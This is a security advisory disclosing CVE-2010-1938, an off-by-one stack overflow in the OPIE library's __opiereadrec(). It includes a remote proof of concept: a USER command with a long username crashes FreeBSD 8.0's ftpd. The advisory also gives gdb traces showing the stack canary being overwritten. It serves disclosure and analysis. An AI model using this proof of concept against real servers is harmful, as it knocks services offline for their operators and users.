[ libopie __readrec() off-by one (FreeBSD ftpd remote PoC) ]
Authors:
- Maksymilian Arciemowicz
- Adam 'pi3' Zabrocki
Date:
- Dis.: 04.05.2010
- Pub.: 27.05.2010
CVE: CVE-2010-1938
CWE: CWE-193
Affected Software:
- OPIE Authentication System ( libopie )
Software which use libopie:
- OpenSuSE
- wu-ftpd
- mod_opie
- PAM
- openssh (modified by FreeBSD/DragonflyBSD Team)
- sudo
- opiesu
- popper
- Probably much more...
PoC:
- FreeBSD 8.0 ftpd(8) Remote Off-by one
line FreeBSD 7 is not affected
Other software can be also affected.
NOTE: Prior versions may also be affected.
--- 0.Description ---
OPIE is a freely redistributable kit that will drop into most *IX systems and replaces your login and FTP daemon with versions that use OTP for user authentication. It also includes an OTP generator and a library to make it easy to add OTP authentication to existing clients and servers.
--- 1. OPIE Authentication System Off-by one ---
Libopie allows REMOTE and LOCAL attackers to off-by-one attack (on the stack).
Let's look in the code:
"/src/contrib/opie/opie.h"
/* Maximum length of a principal (read: user name) */
#define OPIE_PRINCIPAL_MAX 32
"./src/contrib/opie/libopie/readrec.c"
int __opiereadrec FUNCTION((opie), struct opie *opie)
{
...
...
{
char *c, principal[OPIE_PRINCIPAL_MAX];
int i;
if (c = strchr(opie->opie_principal, ':'))
*c = 0;
[1] if (strlen(opie->opie_principal) > OPIE_PRINCIPAL_MAX)
[2] (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;
[3] strcpy(principal, opie->opie_principal);
...
...
}
...
...
ret:
if (f)
fclose(f);
return rval;
}
This function at [1] check the length of the variable 'opie->opie_principal' which is full user controled. If this length is bigger than OPIE_PRINCIPAL_MAX- 32 bytes, program will write at this position NULL byte. In fact the string will be 32 bytes long. Vulnerability exists at line [3]. Function strcpy() copy user controled variable which can be maximum 32 bytes long, to the local bufor 'principal' which is 32 bytes long too. Here is off-by-one bug because function strcpy() after copied 32 bytes alwyas ADD NULL byte to the and of string. In fact it will be at the position *(principal+32) which is out of buffer.
A possible way to exploit this vulnerability:
"./src/contrib/opie/libopie/lookup.c"
int opielookup FUNCTION((opie, principal), struct opie *opie AND char *principal)
{
int i;
memset(opie, 0, sizeof(struct opie));
opie->opie_principal = principal;
if (i = __opiereadrec(opie)) <=== our call ;)
return i;
return (opie->opie_flags & __OPIE_FLAGS_RW) ? 0 : 2;
}
a deeper analyzis of the code shows:
"./src/contrib/opie/libopie/challenge.c"
int opiechallenge FUNCTION((mp, name, ss), struct opie *mp AND char *name AND char *ss)
{
int rval = -1;
rval = opielookup(mp, name);
...
...
return rval;
}
This function is really intereting because it is responsible for authentication so this vulnerability can be in the pre-auth phase. We can found many softwares which use this function for authorization (for example default ftp daemon in FreeBSD) ;)
Another interesting call we can find here:
"./src/contrib/opie/libopie/writerec.c"
int __opiewriterec FUNCTION((opie), struct opie *opie)
{
char buf[17], buf2[64];
time_t now;
FILE *f, *f2 = NULL;
int i = 0;
char *c;
time(&now);
if (strftime(buf2, sizeof(buf2), " %b %d,%Y %T", localtime(&now)) < 1)
return -1;
if (!(opie->opie_flags & __OPIE_FLAGS_READ)) {
struct opie opie2;
i = opielookup(&opie2, opie->opie_principal); <========== our call :)
...
}
...
...
}
and this function is used in many places:
"./src/contrib/opie/libopie/passwd.c" <=== in function opiepasswd()
"./src/contrib/opie/libopie/verify.c" <=== in function opieverify() - two times ;)
... so we have got many entry points ;) But we are going to test calls to function opiechallenge(). Pre-auth vulnerability sounds impressive ;) At first let's test default FTP daemon for FreeBSD 8.0 ...
--- 2. FreeBSD 8.0 ftpd remote off-by one ---
Authentication module for FTP server in FreeBSD 8 module was modified. By default it uses OPIE library. Let`s see
http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/libexec/ftpd/ftpd.c?rev=1.214.2.1.2.1;content-type=text%2Fplain
...
if (opiechallenge(&opiedata, name, opieprompt) == 0) {
pwok = (pw != NULL) &&
opieaccessfile(remotehost) &&
opiealways(pw->pw_dir);
reply(331, "Response to %s %s for %s.",
opieprompt, pwok ? "requested" : "required", name);
} else {
pwok = 1;
reply(331, "Password required for %s.", name);
}
askpasswd = 1;
...
this code has been added in line 8. 7.3 is not affected!
Variable 'name' is user name, defined in in auth
"USER AAAA"
name=AAAA
If we use more that 31 chars for username, ftpd will crash. The problem will be casued by the off-by-one bug in libopie. FreeBSD 8.0 compile most of its binaries with -fstack-protector-all flag by default so the FTP server will be killed by SSP with an information about attack:
"stack overflow detected"
The problematic part of libopie is called by the FTP server via this line:
opiechallenge(&opiedata, name, opieprompt)
PoC0:
Connected to localhost.
Escape character is '^]'.
220 127.cx FTP server (Version 6.00LS) ready.
user cx
331 Password required for cx.
user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.
127#
#0 0x281efde7 in kill () from /lib/libc.so.7
(gdb) i r
eax 0x0 0
ecx 0x8060f50 134614864
edx 0x0 0
ebx 0x28205ad8 673209048
esp 0xbfbfd84c 0xbfbfd84c
ebp 0xbfbfd898 0xbfbfd898
esi 0xbfbfd864 -1077946268
edi 0x281f3ad0 673135312
eip 0x281efde7 0x281efde7
eflags 0x246 582
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb) bt
#0 0x281efde7 in kill () from /lib/libc.so.7
#1 0x2812de12 in brk () from /lib/libc.so.7
#2 0x00000580 in ?? ()
#3 0x00000006 in ?? ()
#4 0x00000000 in ?? ()
#5 0x281da06f in __srget () from /lib/libc.so.7
#6 0x280d0367 in __opieopen () from /usr/lib/libopie.so.6
#7 0x280cff4f in __opiereadrec () from /usr/lib/libopie.so.6
#8 0x280cfb53 in opielookup () from /usr/lib/libopie.so.6
#9 0x280cea9c in opiechallenge () from /usr/lib/libopie.so.6
#10 0x0804de32 in ?? ()
#11 0x0805fa60 in optind ()
#12 0x283250a0 in ?? ()
#13 0x0805fb78 in optind ()
#14 0x2809d000 in ?? ()
#15 0x00000548 in ?? ()
#16 0x00000000 in ?? ()
#17 0x2817658b in free () from /lib/libc.so.7
#18 0x080546e1 in getline ()
...
n ?? ()
#320 0x0000000f in ?? ()
#321 <signal handler called>
Cannot access memory at address 0x4c
FTP daemon crashed with this log:
May 13 10:57:40 127 ftpd[1547]: stack overflow detected; terminated
May 13 10:57:41 127 kernel: pid 1547 (ftpd), uid 0: exited on signal 6 (core dumped)
May 13 10:59:35 127 ftpd[1556]: stack overflow detected; terminated
May 13 10:59:35 127 kernel: pid 1556 (ftpd), uid 0: exited on signal 6 (core dumped)
SSP has detected stack oveerflow.
Let's analyze deeper what has exactly happened:
pi3-freebsd# gdb -q --pid=35118
...
...
Loaded symbols for /libexec/ld-elf.so.1
0x281f3271 in read () from /lib/libc.so.7
(gdb) b __opiereadrec
Breakpoint 1 at 0x280cfd74
(gdb) c
Continuing.
Breakpoint 1, 0x280cfd74 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/20i $eip
...
...
0x280cfe23 <__opiereadrec+179>: call 0x280cce48 <_init+1428> <== strlen(...)
0x280cfe28 <__opiereadrec+184>: cmp $0x20,%eax
0x280cfe2b <__opiereadrec+187>: ja 0x280cfefb <__opiereadrec+395> <= if > 0x20...
...
...
0x280cfe31 <__opiereadrec+193>: lea 0xffffffd0(%ebp),%eax
0x280cfe34 <__opiereadrec+196>: mov %edi,0x4(%esp)
0x280cfe38 <__opiereadrec+200>: lea 0x4(%esi),%edi
0x280cfe3b <__opiereadrec+203>: mov %eax,0xffffffb8(%ebp)
0x280cfe3e <__opiereadrec+206>: mov %eax,(%esp)
0x280cfe41 <__opiereadrec+209>: call 0x280cce98 <_init+1508> <== strcpy(principal,opie->opie_principal);
0x280cfe46 <__opiereadrec+214>: mov 0xffffffc0(%ebp),%edx
...
...
0x280cfeab <__opiereadrec+315>: mov 0x194(%ebx),%ecx <=== get canary from the 'secret' place
0x280cfeb1 <__opiereadrec+321>: mov %edi,%eax
0x280cfeb3 <__opiereadrec+323>: mov 0xfffffff0(%ebp),%edx <== get canary from the stack
0x280cfeb6 <__opiereadrec+326>: xor (%ecx),%edx <== compare it (xor)
0x280cfeb8 <__opiereadrec+328>: jne 0x280cff4a <__opiereadrec+474> <== __stack
0x280cfebe <__opiereadrec+334>: add $0x4c,%esp
0x280cfec1 <__opiereadrec+337>: pop %ebx
0x280cfec2 <__opiereadrec+338>: pop %esi
0x280cfec3 <__opiereadrec+339>: pop %edi
0x280cfec4 <__opiereadrec+340>: pop %ebp
0x280cfec5 <__opiereadrec+341>: ret
...
...
0x280cfefb <__opiereadrec+395>: movb $0x0,0x20(%edi) <=== (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;
0x280cfeff <__opiereadrec+399>: mov 0x104(%esi),%edi
0x280cff05 <__opiereadrec+405>: jmp 0x280cfe31 <__opiereadrec+193>
...
...
(gdb) x/x $ebx+0x194
0x280d3940 <remote_terms+8856>: 0x0805e900
(gdb) x/x 0x0805e900
0x805e900 <__stack_chk_guard>: 0x4541c442 <== secret canary ;)
(gdb) x/x $ebp+0xfffffff0
0xbfbfdce8: 0x00000000
(gdb) b *0x280cfe28
Breakpoint 2 at 0x280cfe28
(gdb) c
Continuing.
Breakpoint 2, 0x280cfe28 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) i r eax
eax 0x22 34 <=== strlen() return value...
(gdb) b *0x280cfefb
Breakpoint 3 at 0x280cfefb
(gdb) c
Continuing.
Breakpoint 3, 0x280cfefb in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/s $edi
0x28325070: 'A' <repeats 31 times>, "\001\002\b"
(gdb) b *0x280cfeff
Breakpoint 4 at 0x280cfeff
(gdb) c
Continuing.
Breakpoint 4, 0x280cfeff in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/s $edi
0x28325070: 'A' <repeats 31 times>, "\001" <== as we can see in this string (array)
33 byte now is 0x0. So our buffer now
holds/contains 32 bytes before the
terminating NULL byte
(gdb) b *0x280cfe41
Breakpoint 5 at 0x280cfe41
(gdb) c
Continuing.
Breakpoint 5, 0x280cfe41 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/x $esp
0xbfbfdca0: 0xbfbfdcc8
(gdb) x/x $esp+4
0xbfbfdca4: 0x28325070
(gdb) x/s 0x28325070
0x28325070: 'A' <repeats 31 times>, "\001"
(gdb) x/20x 0xbfbfdcc8 <====== Local buffer
0xbfbfdcc8: 0x280d37ac 0x0805fa60 0x28325070 0xbfbfdd18
0xbfbfdcd8: 0x2805f629 0x2809d600 0x00000060 0x00000000
0xbfbfdce8: 0x4541c442 0x280d37ac 0x0805fa60 0x28325070
^^^^^^^^^^ <============ canary value before strcpy()
0xbfbfdcf8: 0xbfbfdd18 0x280cfb53 0x0805fa60 0x00000000
0xbfbfdd08: 0x00000118 0x0805fa60 0x280d37ac 0x00000000
(gdb) b *0x280cfe46
Breakpoint 6 at 0x280cfe46
(gdb) c
Continuing.
Breakpoint 6, 0x280cfe46 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/20x 0xbfbfdcc8
0xbfbfdcc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfdcd8: 0x41414141 0x41414141 0x41414141 0x01414141
0xbfbfdce8: 0x4541c400 0x280d37ac 0x0805fa60 0x28325070
^^^^^^^^^^ <============== canary value after strcpy().
Now we can see pretty off-by-one... ;)
0xbfbfdcf8: 0xbfbfdd18 0x280cfb53 0x0805fa60 0x00000000
0xbfbfdd08: 0x00000118 0x0805fa60 0x280d37ac 0x00000000
(gdb) b *0x280cfeb8
Breakpoint 7 at 0x280cfeb8
(gdb) c
Continuing.
Breakpoint 7, 0x280cfeb8 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/x $ecx
0x805e900 <__stack_chk_guard>: 0x4541c442
(gdb) x/x $ebp+0xfffffff0
0xbfbfdce8: 0x4541c400
(gdb) b *0x280cfec5
Breakpoint 8 at 0x280cfec5
(gdb) c
Continuing.
May 14 01:55:03 pi3-freebsd ftpd[35118]: stack overflow detected; terminated
Program received signal SIGABRT, Aborted.
0x281efde7 in kill () from /lib/libc.so.7
(gdb)
--- 3. Credits ---
Discovered by:
- Maksymilian Arciemowicz
- Adam Zabrocki from ... hm... good question ;p
--- 4. Greets ---
sp3x Infospec p_e_a, #plhack@IRCNET
--- 5. Contact ---
Email:
- pi3 [a{]t] itsec D||T pl
--- 6. Official FreeBSD response ---
http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc